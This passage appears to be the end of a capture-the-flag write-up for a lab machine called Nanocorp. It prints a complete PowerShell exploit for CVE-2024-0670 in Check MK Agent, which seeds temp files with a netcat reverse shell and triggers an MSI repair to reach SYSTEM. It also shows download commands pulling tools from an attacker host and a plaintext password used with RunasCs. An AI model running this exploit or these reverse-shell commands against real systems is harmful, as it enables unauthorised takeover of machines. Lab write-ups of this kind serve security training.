3 Dir(s) 8,066,195,456 bytes free
PS C:\Users\monitoring_svc\Documents>
We also needed to be running as web_svc to trigger the repair (since the MSI was installed from that user's desktop). We downloaded RunasCs and nc64.exe to facilitate this.
PS C:\Users\monitoring_svc\Documents> iwr -uri http://10.10.14.102:8000/RunasCs.exe -outfile runas.exe
PS C:\Users\monitoring_svc\Documents> .\runas.exe web_svc 'dksehdgh712!@#' \
"cmd /c curl http://10.10.14.102:8000/nc.exe -o C:\Windows\Tasks\nc64.exe"
Next, we used the exploitation script from tralsesec/CVE-2024-0670. The script seeds all possible PID-based filenames with our reverse shell payload, marks them read-only to prevent the MSI from overwriting them, then triggers the repair.
# CONFIG
$LHOST = "10.10.14.102"
$LPORT = "8844"
$NcPath = "C:\Windows\Tasks\nc64.exe"
$MinPID = 1000
$MaxPID = 15000
# PAYLOAD
$BatchPayload = "@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT"
# FIND MSI
$msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
Where-Object { $_.DisplayName -like '*mk*' } |
Select-Object -First 1).LocalPackage
# SEED TRAP
Write-Host "[*] Seeding trap files..."
foreach ($ctr in 0..1) {
for ($num = $MinPID; $num -le $MaxPID; $num++) {
$filePath = "C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd"
try {
[System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII)
Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue
} catch {}
}
}
# TRIGGER
Write-Host "[*] Triggering repair..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$msi`" /qn" -Wait
We set up our listener and executed the script as web_svc via RunasCs.
┌──(kali㉿kali)-[~/Documents/pentest-tools/CVE-2024-0670]
└─$ rlwrap nc -nlvp 8844
listening on [any] 8844 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.7.217] 53540
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
We landed a shell as SYSTEM, and the root flag was waiting on the Administrator's desktop.
Conclusion
In summary, we began by exploiting CVE-2025-24071 to leak the NetNTLMv2 hash of web_svc through a malicious zip upload on the job application portal. Cracking the hash gave us our first set of domain credentials.
BloodHound revealed a two-hop privilege escalation: web_svc could add itself to IT_Support, and IT_Support members could force-change monitoring_svc's password. With monitoring_svc in the Protected Users group, we had to use Kerberos exclusively, obtaining a TGT and logging in over WinRM with winrmexec.py.
On the box, we found Check MK Agent 2.1 installed and abused CVE-2024-0670 — pre-seeding C:\Windows\Temp with a reverse shell payload across all possible PID filenames, then triggering the MSI repair process which executed our file as SYSTEM.
That wraps up Nanocorp. Thanks for reading, and I'll see you in the next one!